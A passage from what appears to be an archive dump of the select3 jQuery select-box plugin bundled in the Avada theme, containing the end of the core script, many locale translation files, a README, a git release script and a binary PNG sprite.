this.updateSelection([]); this.clearSearch(); if (triggerChange) { this.triggerChange({added: this.data(), removed: oldData}); } return; } // val is a list of ids this.setVal(val); if (this.select) { this.opts.initSelection(this.select, this.bind(this.updateSelection)); if (triggerChange) { this.triggerChange(this.buildChangeDetails(oldData, this.data())); } } else { if (this.opts.initSelection === undefined) { throw new Error("val() cannot be called if initSelection() is not defined"); } this.opts.initSelection(this.opts.element, function(data){ var ids=$.map(data, self.id); self.setVal(ids); self.updateSelection(data); self.clearSearch(); if (triggerChange) { self.triggerChange(self.buildChangeDetails(oldData, self.data())); } }); } this.clearSearch(); }, // multi onSortStart: function() { if (this.select) { throw new Error("Sorting of elements is not supported when attached to instead."); } // collapse search field into 0 width so its container can be collapsed as well this.search.width(0); // hide the container this.searchContainer.hide(); }, // multi onSortEnd:function() { var val=[], self=this; // show search and move it to the end of the list this.searchContainer.show(); // make sure the search container is the last item in the list this.searchContainer.appendTo(this.searchContainer.parent()); // since we collapsed the width in dragStarted, we resize it here this.resizeSearch(); // update selection this.selection.find(".select3-search-choice").each(function() { val.push(self.opts.id($(this).data("select3-data"))); }); this.setVal(val); this.triggerChange(); }, // multi data: function(values, triggerChange) { var self=this, ids, old; if (arguments.length === 0) { return this.selection .children(".select3-search-choice") .map(function() { return $(this).data("select3-data"); }) .get(); } else { old = this.data(); if (!values) { values = []; } ids = $.map(values, function(e) { return self.opts.id(e); }); this.setVal(ids); this.updateSelection(values); this.clearSearch(); if (triggerChange) { this.triggerChange(this.buildChangeDetails(old, this.data())); } } } }); $.fn.select3 = function () { var args = Array.prototype.slice.call(arguments, 0), opts, select3, method, value, multiple, allowedMethods = ["val", "destroy", "opened", "open", "close", "focus", "isFocused", "container", "dropdown", "onSortStart", "onSortEnd", "enable", "disable", "readonly", "positionDropdown", "data", "search"], valueMethods = ["opened", "isFocused", "container", "dropdown"], propertyMethods = ["val", "data"], methodsMap = { search: "externalSearch" }; this.each(function () { if (args.length === 0 || typeof(args[0]) === "object") { opts = args.length === 0 ? {} : $.extend({}, args[0]); opts.element = $(this); if (opts.element.get(0).tagName.toLowerCase() === "select") { multiple = opts.element.prop("multiple"); } else { multiple = opts.multiple || false; if ("tags" in opts) {opts.multiple = multiple = true;} } select3 = multiple ? new window.Select3["class"].multi() : new window.Select3["class"].single(); select3.init(opts); } else if (typeof(args[0]) === "string") { if (indexOf(args[0], allowedMethods) < 0) { throw "Unknown method: " + args[0]; } value = undefined; select3 = $(this).data("select3"); if (select3 === undefined) return; method=args[0]; if (method === "container") { value = select3.container; } else if (method === "dropdown") { value = select3.dropdown; } else { if (methodsMap[method]) method = methodsMap[method]; value = select3[method].apply(select3, args.slice(1)); } if (indexOf(args[0], valueMethods) >= 0 || (indexOf(args[0], propertyMethods) >= 0 && args.length == 1)) { return false; // abort the iteration, ready to return first matched value } } else { throw "Invalid arguments to select3 plugin: " + args; } }); return (value === undefined) ? this : value; }; // plugin defaults, accessible to users $.fn.select3.defaults = { width: "copy", loadMorePadding: 0, closeOnSelect: true, openOnEnter: true, containerCss: {}, dropdownCss: {}, containerCssClass: "", dropdownCssClass: "", formatResult: function(result, container, query, escapeMarkup) { var markup=[]; markMatch(this.text(result), query.term, markup, escapeMarkup); return markup.join(""); }, transformVal: function(val) { return $.trim(val); }, formatSelection: function (data, container, escapeMarkup) { return data ? escapeMarkup(this.text(data)) : undefined; }, sortResults: function (results, container, query) { return results; }, formatResultCssClass: function(data) {return data.css;}, formatSelectionCssClass: function(data, container) {return undefined;}, minimumResultsForSearch: 0, minimumInputLength: 0, maximumInputLength: null, maximumSelectionSize: 0, id: function (e) { return e == undefined ? null : e.id; }, text: function (e) { if (e && this.data && this.data.text) { if ($.isFunction(this.data.text)) { return this.data.text(e); } else { return e[this.data.text]; } } else { return e.text; } }, matcher: function(term, text) { return stripDiacritics(''+text).toUpperCase().indexOf(stripDiacritics(''+term).toUpperCase()) >= 0; }, separator: ",", tokenSeparators: [], tokenizer: defaultTokenizer, escapeMarkup: defaultEscapeMarkup, blurOnChange: false, selectOnBlur: false, adaptContainerCssClass: function(c) { return c; }, adaptDropdownCssClass: function(c) { return null; }, nextSearchTerm: function(selectedObject, currentSearchTerm) { return undefined; }, searchInputPlaceholder: '', createSearchChoicePosition: 'top', shouldFocusInput: function (instance) { // Attempt to detect touch devices var supportsTouchEvents = (('ontouchstart' in window) || (navigator.msMaxTouchPoints > 0)); // Only devices which support touch events should be special cased if (!supportsTouchEvents) { return true; } // Never focus the input if search is disabled if (instance.opts.minimumResultsForSearch < 0) { return false; } return true; } }; $.fn.select3.locales = []; $.fn.select3.locales['en'] = { formatMatches: function (matches) { if (matches === 1) { return "One result is available, press enter to select it."; } return matches + " results are available, use up and down arrow keys to navigate."; }, formatNoMatches: function () { return "No matches found"; }, formatAjaxError: function (jqXHR, textStatus, errorThrown) { return "Loading failed"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Please enter " + n + " or more character" + (n == 1 ? "" : "s"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Please delete " + n + " character" + (n == 1 ? "" : "s"); }, formatSelectionTooBig: function (limit) { return "You can only select " + limit + " item" + (limit == 1 ? "" : "s"); }, formatLoadMore: function (pageNumber) { return "Loading more results…"; }, formatSearching: function () { return "Searching…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['en']); $.fn.select3.ajaxDefaults = { transport: $.ajax, params: { type: "GET", cache: false, dataType: "json" } }; // exports window.Select3 = { query: { ajax: ajax, local: local, tags: tags }, util: { debounce: debounce, markMatch: markMatch, escapeMarkup: defaultEscapeMarkup, stripDiacritics: stripDiacritics }, "class": { "abstract": AbstractSelect3, "single": SingleSelect3, "multi": MultiSelect3 } }; }(jQuery)); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_gl.js000064400000002473152342437700030754 0ustar00Avada/** * Select3 Galician translation * * Author: Leandro Regueiro */ (function ($) { "use strict"; $.fn.select3.locales['gl'] = { formatNoMatches: function () { return "Non se atoparon resultados"; }, formatInputTooShort: function (input, min) { var n = min - input.length; if (n === 1) { return "Engada un carácter"; } else { return "Engada " + n + " caracteres"; } }, formatInputTooLong: function (input, max) { var n = input.length - max; if (n === 1) { return "Elimine un carácter"; } else { return "Elimine " + n + " caracteres"; } }, formatSelectionTooBig: function (limit) { if (limit === 1 ) { return "Só pode seleccionar un elemento"; } else { return "Só pode seleccionar " + limit + " elementos"; } }, formatLoadMore: function (pageNumber) { return "Cargando máis resultados…"; }, formatSearching: function () { return "Buscando…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['gl']); })(jQuery); lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_zh-CN.js000064400000001372152342437700031266 0ustar00Avada/includes/** * Select3 Chinese translation */ (function ($) { "use strict"; $.fn.select3.locales['zh-CN'] = { formatNoMatches: function () { return "没有找到匹配项"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "请再输入" + n + "个字符";}, formatInputTooLong: function (input, max) { var n = input.length - max; return "请删掉" + n + "个字符";}, formatSelectionTooBig: function (limit) { return "你只能选择最多" + limit + "项"; }, formatLoadMore: function (pageNumber) { return "加载结果中…"; }, formatSearching: function () { return "搜索中…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['zh-CN']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_nb.js000064400000002171152342437700030744 0ustar00Avada/** * Select3 Norwegian Bokmål translation. * * Author: Torgeir Veimo * Author: Bjørn Johansen */ (function ($) { "use strict"; $.fn.select3.locales['nb'] = { formatMatches: function (matches) { if (matches === 1) { return "Ett resultat er tilgjengelig, trykk enter for å velge det."; } return matches + " resultater er tilgjengelig. Bruk piltastene opp og ned for å navigere."; }, formatNoMatches: function () { return "Ingen treff"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Vennligst skriv inn " + n + (n>1 ? " flere tegn" : " tegn til"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Vennligst fjern " + n + " tegn"; }, formatSelectionTooBig: function (limit) { return "Du kan velge maks " + limit + " elementer"; }, formatLoadMore: function (pageNumber) { return "Laster flere resultater …"; }, formatSearching: function () { return "Søker …"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['no']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_de.js000064400000001766152342437700030746 0ustar00Avada/** * Select3 German translation */ (function ($) { "use strict"; $.fn.select3.locales['de'] = { formatNoMatches: function () { return "Keine Übereinstimmungen gefunden"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Bitte " + n + " Zeichen mehr eingeben"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Bitte " + n + " Zeichen weniger eingeben"; }, formatSelectionTooBig: function (limit) { return "Sie können nur " + limit + " Eintr" + (limit === 1 ? "ag" : "äge") + " auswählen"; }, formatLoadMore: function (pageNumber) { return "Lade mehr Ergebnisse…"; }, formatSearching: function () { return "Suche…"; }, formatMatches: function (matches) { return matches + " Ergebnis " + (matches > 1 ? "se" : "") + " verfügbar, zum Navigieren die Hoch-/Runter-Pfeiltasten verwenden."; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['de']); })(jQuery);includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_da.js000064400000001525152342437700030733 0ustar00Avada/** * Select3 Danish translation. * * Author: Anders Jenbo */ (function ($) { "use strict"; $.fn.select3.locales['da'] = { formatNoMatches: function () { return "Ingen resultater fundet"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Angiv venligst " + n + " tegn mere"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Angiv venligst " + n + " tegn mindre"; }, formatSelectionTooBig: function (limit) { return "Du kan kun vælge " + limit + " emne" + (limit === 1 ? "" : "r"); }, formatLoadMore: function (pageNumber) { return "Indlæser flere resultater…"; }, formatSearching: function () { return "Søger…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['da']); })(jQuery); lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_en.js.template000064400000002116152342437700032560 0ustar00Avada/includes/** * Select3 translation. * * Author: Your Name */ (function ($) { "use strict"; $.fn.select3.locales['en'] = { formatMatches: function (matches) { if (matches === 1) { return "One result is available, press enter to select it."; } return matches + " results are available, use up and down arrow keys to navigate."; }, formatNoMatches: function () { return "No matches found"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Please enter " + n + " or more character" + (n == 1 ? "" : "s"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Please delete " + n + " character" + (n == 1 ? "" : "s"); }, formatSelectionTooBig: function (limit) { return "You can only select " + limit + " item" + (limit == 1 ? "" : "s"); }, formatLoadMore: function (pageNumber) { return "Loading more results…"; }, formatSearching: function () { return "Searching…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['en']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_el.js000064400000002150152342437700030742 0ustar00Avada/** * Select3 Greek translation. * * @author Uriy Efremochkin */ (function ($) { "use strict"; $.fn.select3.locales['el'] = { formatNoMatches: function () { return "Δεν βρέθηκαν αποτελέσματα"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Παρακαλούμε εισάγετε " + n + " περισσότερο" + (n > 1 ? "υς" : "") + " χαρακτήρ" + (n > 1 ? "ες" : "α"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Παρακαλούμε διαγράψτε " + n + " χαρακτήρ" + (n > 1 ? "ες" : "α"); }, formatSelectionTooBig: function (limit) { return "Μπορείτε να επιλέξετε μόνο " + limit + " αντικείμεν" + (limit > 1 ? "α" : "ο"); }, formatLoadMore: function (pageNumber) { return "Φόρτωση περισσότερων…"; }, formatSearching: function () { return "Αναζήτηση…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['el']); })(jQuery);includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_ms.js000064400000001504152342437700030763 0ustar00Avada/** * Select3 Malay translation. * * Author: Kepoweran */ (function ($) { "use strict"; $.fn.select3.locales['ms'] = { formatNoMatches: function () { return "Tiada padanan yang ditemui"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Sila masukkan " + n + " aksara lagi"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Sila hapuskan " + n + " aksara"; }, formatSelectionTooBig: function (limit) { return "Anda hanya boleh memilih " + limit + " pilihan"; }, formatLoadMore: function (pageNumber) { return "Sedang memuatkan keputusan…"; }, formatSearching: function () { return "Mencari…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['ms']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_mk.js000064400000002050152342437700030750 0ustar00Avada/** * Select3 Macedonian translation. * * Author: Marko Aleksic */ (function ($) { "use strict"; $.fn.select3.locales['mk'] = { formatNoMatches: function () { return "Нема пронајдено совпаѓања"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Ве молиме внесете уште " + n + " карактер" + (n == 1 ? "" : "и"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Ве молиме внесете " + n + " помалку карактер" + (n == 1? "" : "и"); }, formatSelectionTooBig: function (limit) { return "Можете да изберете само " + limit + " ставк" + (limit == 1 ? "а" : "и"); }, formatLoadMore: function (pageNumber) { return "Вчитување резултати…"; }, formatSearching: function () { return "Пребарување…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['mk']); })(jQuery);includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_lt.js000064400000002170152342437700030763 0ustar00Avada/** * Select3 Lithuanian translation. * * @author CRONUS Karmalakas * @author Uriy Efremochkin */ (function ($) { "use strict"; $.fn.select3.locales['lt'] = { formatNoMatches: function () { return "Atitikmenų nerasta"; }, formatInputTooShort: function (input, min) { return "Įrašykite dar" + character(min - input.length); }, formatInputTooLong: function (input, max) { return "Pašalinkite" + character(input.length - max); }, formatSelectionTooBig: function (limit) { return "Jūs galite pasirinkti tik " + limit + " element" + ((limit%100 > 9 && limit%100 < 21) || limit%10 == 0 ? "ų" : limit%10 > 1 ? "us" : "ą"); }, formatLoadMore: function (pageNumber) { return "Kraunama daugiau rezultatų…"; }, formatSearching: function () { return "Ieškoma…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['lt']); function character (n) { return " " + n + " simbol" + ((n%100 > 9 && n%100 < 21) || n%10 == 0 ? "ių" : n%10 > 1 ? "ius" : "į"); } })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_lv.js000064400000001747152342437700030776 0ustar00Avada/** * Select3 Latvian translation. * * @author Uriy Efremochkin */ (function ($) { "use strict"; $.fn.select3.locales['lv'] = { formatNoMatches: function () { return "Sakritību nav"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Lūdzu ievadiet vēl " + n + " simbol" + (n == 11 ? "us" : n%10 == 1 ? "u" : "us"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Lūdzu ievadiet par " + n + " simbol" + (n == 11 ? "iem" : n%10 == 1 ? "u" : "iem") + " mazāk"; }, formatSelectionTooBig: function (limit) { return "Jūs varat izvēlēties ne vairāk kā " + limit + " element" + (limit == 11 ? "us" : limit%10 == 1 ? "u" : "us"); }, formatLoadMore: function (pageNumber) { return "Datu ielāde…"; }, formatSearching: function () { return "Meklēšana…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['lv']); })(jQuery); lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_ug-CN.js000064400000001610152342437700031253 0ustar00Avada/includes/** * Select3 Uyghur translation */ (function ($) { "use strict"; $.fn.select3.locales['ug-CN'] = { formatNoMatches: function () { return "ماس كېلىدىغان ئۇچۇر تېپىلمىدى"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "يەنە " + n + " ھەرپ كىرگۈزۈڭ";}, formatInputTooLong: function (input, max) { var n = input.length - max; return "" + n + "ھەرپ ئۆچۈرۈڭ";}, formatSelectionTooBig: function (limit) { return "ئەڭ كۆپ بولغاندا" + limit + " تال ئۇچۇر تاللىيالايسىز"; }, formatLoadMore: function (pageNumber) { return "ئۇچۇرلار ئوقۇلىۋاتىدۇ…"; }, formatSearching: function () { return "ئىزدەۋاتىدۇ…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['ug-CN']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_sv.js000064400000001517152342437700031000 0ustar00Avada/** * Select3 Swedish translation. * * Author: Jens Rantil */ (function ($) { "use strict"; $.fn.select3.locales['sv'] = { formatNoMatches: function () { return "Inga träffar"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Var god skriv in " + n + (n>1 ? " till tecken" : " tecken till"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Var god sudda ut " + n + " tecken"; }, formatSelectionTooBig: function (limit) { return "Du kan max välja " + limit + " element"; }, formatLoadMore: function (pageNumber) { return "Laddar fler resultat…"; }, formatSearching: function () { return "Söker…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['sv']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_fi.js000064400000001654152342437700030750 0ustar00Avada/** * Select3 Finnish translation */ (function ($) { "use strict"; $.fn.select3.locales['fi'] = { formatNoMatches: function () { return "Ei tuloksia"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Ole hyvä ja anna " + n + " merkkiä lisää"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Ole hyvä ja anna " + n + " merkkiä vähemmän"; }, formatSelectionTooBig: function (limit) { return "Voit valita ainoastaan " + limit + " kpl"; }, formatLoadMore: function (pageNumber) { return "Ladataan lisää tuloksia…"; }, formatSearching: function () { return "Etsitään…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['fi']); })(jQuery); Avada/includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/README.md000064400000011167152342437700026411 0ustar00Select3 ======= Select3 is a jQuery-based replacement for select boxes. It supports searching, remote data sets, and infinite scrolling of results. To get started, checkout examples and documentation at http://ivaynberg.github.com/select3 Use cases --------- * Enhancing native selects with search. * Enhancing native selects with a better multi-select interface. * Loading data from JavaScript: easily load items via ajax and have them searchable. * Nesting optgroups: native selects only support one level of nested. Select3 does not have this restriction. * Tagging: ability to add new items on the fly. * Working with large, remote datasets: ability to partially load a dataset based on the search term. * Paging of large datasets: easy support for loading more pages when the results are scrolled to the end. * Templating: support for custom rendering of results and selections. Browser compatibility --------------------- * IE 8+ * Chrome 8+ * Firefox 10+ * Safari 3+ * Opera 10.6+ Usage ----- You can source Select3 directly from a CDN like [JSDliver](http://www.jsdelivr.com/#!select3) or [CDNJS](http://www.cdnjs.com/libraries/select3), [download it from this GitHub repo](https://github.com/ivaynberg/select3/tags), or use one of the integrations below. Integrations ------------ * [Wicket-Select3](https://github.com/ivaynberg/wicket-select3) (Java / [Apache Wicket](http://wicket.apache.org)) * [select3-rails](https://github.com/argerim/select3-rails) (Ruby on Rails) * [AngularUI](http://angular-ui.github.io/#ui-select) ([AngularJS](https://angularjs.org/)) * [Django](https://github.com/applegrew/django-select3) * [Symfony](https://github.com/19Gerhard85/sfSelect3WidgetsPlugin) * [Symfony2](https://github.com/avocode/FormExtensions) * [Bootstrap 2](https://github.com/t0m/select3-bootstrap-css) and [Bootstrap 3](https://github.com/t0m/select3-bootstrap-css/tree/bootstrap3) (CSS skins) * [Meteor](https://github.com/nate-strauser/meteor-select3) (modern reactive JavaScript framework; + [Bootstrap 3 skin](https://github.com/esperadomedia/meteor-select3-bootstrap3-css/)) * [Meteor](https://jquery-select3.meteor.com) * [Yii 2.x](http://demos.krajee.com/widgets#select3) * [Yii 1.x](https://github.com/tonybolzan/yii-select3) * [AtmosphereJS](https://atmospherejs.com/package/jquery-select3) ### Example Integrations * [Knockout.js](https://github.com/ivaynberg/select3/wiki/Knockout.js-Integration) * [Socket.IO](https://github.com/ivaynberg/select3/wiki/Socket.IO-Integration) * [PHP](https://github.com/ivaynberg/select3/wiki/PHP-Example) * [.Net MVC] (https://github.com/ivaynberg/select3/wiki/.Net-MVC-Example) Internationalization (i18n) --------------------------- Select3 supports multiple languages by simply including the right language JS file (`select3_locale_it.js`, `select3_locale_nl.js`, etc.) after `select3.js`. Missing a language? Just copy `select3_locale_en.js.template`, translate it, and make a pull request back to Select3 here on GitHub. Documentation ------------- The documentation for Select3 is available [through GitHub Pages](https://ivaynberg.github.io/select3/) and is located within this repository in the [`gh-pages` branch](https://github.com/ivaynberg/select3/tree/gh-pages). Community --------- ### Bug tracker Have a bug? Please create an issue here on GitHub! https://github.com/ivaynberg/select3/issues ### Mailing list Have a question? Ask on our mailing list! select3@googlegroups.com https://groups.google.com/d/forum/select3 ### IRC channel Need help implementing Select3 in your project? Ask in our IRC channel! **Network:** [Freenode](https://freenode.net/) (`chat.freenode.net`) **Channel:** `#select3` **Web access:** https://webchat.freenode.net/?channels=select3 Copyright and license --------------------- Copyright 2012 Igor Vaynberg This software is licensed under the Apache License, Version 2.0 (the "Apache License") or the GNU General Public License version 2 (the "GPL License"). You may choose either license to govern your use of this software only upon the condition that you accept all of the terms of either the Apache License or the GPL License. You may obtain a copy of the Apache License and the GPL License in the LICENSE file, or at: http://www.apache.org/licenses/LICENSE-2.0 http://www.gnu.org/licenses/gpl-2.0.html Unless required by applicable law or agreed to in writing, software distributed under the Apache License or the GPL License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the Apache License and the GPL License for the specific language governing permissions and limitations under the Apache License and the GPL License. includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_fa.js000064400000002267152342437700030741 0ustar00Avada/** * Select3 Persian translation. * * Author: Ali Choopan * Author: Ebrahim Byagowi */ (function ($) { "use strict"; $.fn.select3.locales['fa'] = { formatMatches: function (matches) { return matches + " نتیجه موجود است، کلیدهای جهت بالا و پایین را برای گشتن استفاده کنید."; }, formatNoMatches: function () { return "نتیجه‌ای یافت نشد."; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "لطفاً " + n + " نویسه بیشتر وارد نمایید"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "لطفاً " + n + " نویسه را حذف کنید."; }, formatSelectionTooBig: function (limit) { return "شما فقط می‌توانید " + limit + " مورد را انتخاب کنید"; }, formatLoadMore: function (pageNumber) { return "در حال بارگیری موارد بیشتر…"; }, formatSearching: function () { return "در حال جستجو…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['fa']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_uk.js000064400000002607152342437700030770 0ustar00Avada/** * Select3 Ukrainian translation. * * @author bigmihail * @author Uriy Efremochkin */ (function ($) { "use strict"; $.fn.select3.locales['uk'] = { formatMatches: function (matches) { return character(matches, "результат") + " знайдено, використовуйте клавіші зі стрілками вверх та вниз для навігації."; }, formatNoMatches: function () { return "Нічого не знайдено"; }, formatInputTooShort: function (input, min) { return "Введіть буль ласка ще " + character(min - input.length, "символ"); }, formatInputTooLong: function (input, max) { return "Введіть буль ласка на " + character(input.length - max, "символ") + " менше"; }, formatSelectionTooBig: function (limit) { return "Ви можете вибрати лише " + character(limit, "елемент"); }, formatLoadMore: function (pageNumber) { return "Завантаження даних…"; }, formatSearching: function () { return "Пошук…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['uk']); function character (n, word) { return n + " " + word + (n%10 < 5 && n%10 > 0 && (n%100 < 5 || n%100 > 19) ? n%10 > 1 ? "и" : "" : "ів"); } })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_ca.js000064400000001670152342437700030733 0ustar00Avada/** * Select3 Catalan translation. * * Author: David Planella */ (function ($) { "use strict"; $.fn.select3.locales['ca'] = { formatNoMatches: function () { return "No s'ha trobat cap coincidència"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Introduïu " + n + " caràcter" + (n == 1 ? "" : "s") + " més"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Introduïu " + n + " caràcter" + (n == 1? "" : "s") + "menys"; }, formatSelectionTooBig: function (limit) { return "Només podeu seleccionar " + limit + " element" + (limit == 1 ? "" : "s"); }, formatLoadMore: function (pageNumber) { return "S'estan carregant més resultats…"; }, formatSearching: function () { return "S'està cercant…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['ca']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_he.js000064400000001565152342437700030747 0ustar00Avada/** * Select3 Hebrew translation. * * Author: Yakir Sitbon */ (function ($) { "use strict"; $.fn.select3.locales['he'] = { formatNoMatches: function () { return "לא נמצאו התאמות"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "נא להזין עוד " + n + " תווים נוספים"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "נא להזין פחות " + n + " תווים"; }, formatSelectionTooBig: function (limit) { return "ניתן לבחור " + limit + " פריטים"; }, formatLoadMore: function (pageNumber) { return "טוען תוצאות נוספות…"; }, formatSearching: function () { return "מחפש…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['he']); })(jQuery); Avada/includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/release.sh000064400000002722152342437700027103 0ustar00#!/bin/bash set -e echo -n "Enter the version for this release: " read ver if [ ! $ver ]; then echo "Invalid version." exit fi name="select3" js="$name.js" mini="$name.min.js" css="$name.css" release="$name-$ver" tag="$ver" branch="build-$ver" curbranch=`git branch | grep "*" | sed "s/* //"` timestamp=$(date) tokens="s/@@ver@@/$ver/g;s/\@@timestamp@@/$timestamp/g" remote="origin" echo "Pulling from origin" git pull echo "Updating Version Identifiers" sed -E -e "s/\"version\": \"([0-9\.]+)\",/\"version\": \"$ver\",/g" -i -- bower.json select3.jquery.json component.json composer.json package.json git add bower.json git add select3.jquery.json git add component.json git add composer.json git add package.json git commit -m "modified version identifiers in descriptors for release $ver" git push git branch "$branch" git checkout "$branch" echo "Tokenizing..." find . -name "$js" | xargs -I{} sed -e "$tokens" -i -- {} find . -name "$css" | xargs -I{} sed -e "$tokens" -i -- {} sed -e "s/latest/$ver/g" -i -- bower.json git add "$js" git add "$css" echo "Minifying..." echo "/*" > "$mini" cat LICENSE | sed "$tokens" >> "$mini" echo "*/" >> "$mini" curl -s \ --data-urlencode "js_code@$js" \ http://marijnhaverbeke.nl/uglifyjs \ >> "$mini" git add "$mini" git commit -m "release $ver" echo "Tagging..." git tag -a "$tag" -m "tagged version $ver" git push "$remote" --tags echo "Cleaning Up..." git checkout "$curbranch" git branch -D "$branch" echo "Done" Avada/includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3.png000064400000001145152342437700027175 0ustar00PNG  IHDR<(,IDATxKaJ.b]*(Ɉvd <P!RqTСH#GyRدHt0L>9,m)yuم};)IJ,Q(XV &OhF! { n{,%]אGc5x >@3 &2 %C,bE؀u9=T67)E " loy[eCÚ & Dm# QȼŪj ބv@ TeMܽ;G9b}1̟ǾT: hC f */ (function ($) { "use strict"; $.fn.select3.locales['eu'] = { formatNoMatches: function () { return "Ez da bat datorrenik aurkitu"; }, formatInputTooShort: function (input, min) { var n = min - input.length; if (n === 1) { return "Idatzi karaktere bat gehiago"; } else { return "Idatzi " + n + " karaktere gehiago"; } }, formatInputTooLong: function (input, max) { var n = input.length - max; if (n === 1) { return "Idatzi karaktere bat gutxiago"; } else { return "Idatzi " + n + " karaktere gutxiago"; } }, formatSelectionTooBig: function (limit) { if (limit === 1 ) { return "Elementu bakarra hauta dezakezu"; } else { return limit + " elementu hauta ditzakezu soilik"; } }, formatLoadMore: function (pageNumber) { return "Emaitza gehiago kargatzen…"; }, formatSearching: function () { return "Bilatzen…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['eu']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_es.js000064400000002231152342437700030751 0ustar00Avada/** * Select3 Spanish translation */ (function ($) { "use strict"; $.fn.select3.locales['es'] = { formatMatches: function (matches) { if (matches === 1) { return "Un resultado disponible, presione enter para seleccionarlo."; } return matches + " resultados disponibles, use las teclas de dirección para navegar."; }, formatNoMatches: function () { return "No se encontraron resultados"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Por favor, introduzca " + n + " car" + (n == 1? "ácter" : "acteres"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Por favor, elimine " + n + " car" + (n == 1? "ácter" : "acteres"); }, formatSelectionTooBig: function (limit) { return "Sólo puede seleccionar " + limit + " elemento" + (limit == 1 ? "" : "s"); }, formatLoadMore: function (pageNumber) { return "Cargando más resultados…"; }, formatSearching: function () { return "Buscando…"; }, formatAjaxError: function() { return "La carga falló"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['es']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_ar.js000064400000002555152342437700030755 0ustar00Avada/** * Select3 Arabic translation. * * Author: Adel KEDJOUR */ (function ($) { "use strict"; $.fn.select3.locales['ar'] = { formatNoMatches: function () { return "لم يتم العثور على مطابقات"; }, formatInputTooShort: function (input, min) { var n = min - input.length; if (n == 1){ return "الرجاء إدخال حرف واحد على الأكثر"; } return n == 2 ? "الرجاء إدخال حرفين على الأكثر" : "الرجاء إدخال " + n + " على الأكثر"; }, formatInputTooLong: function 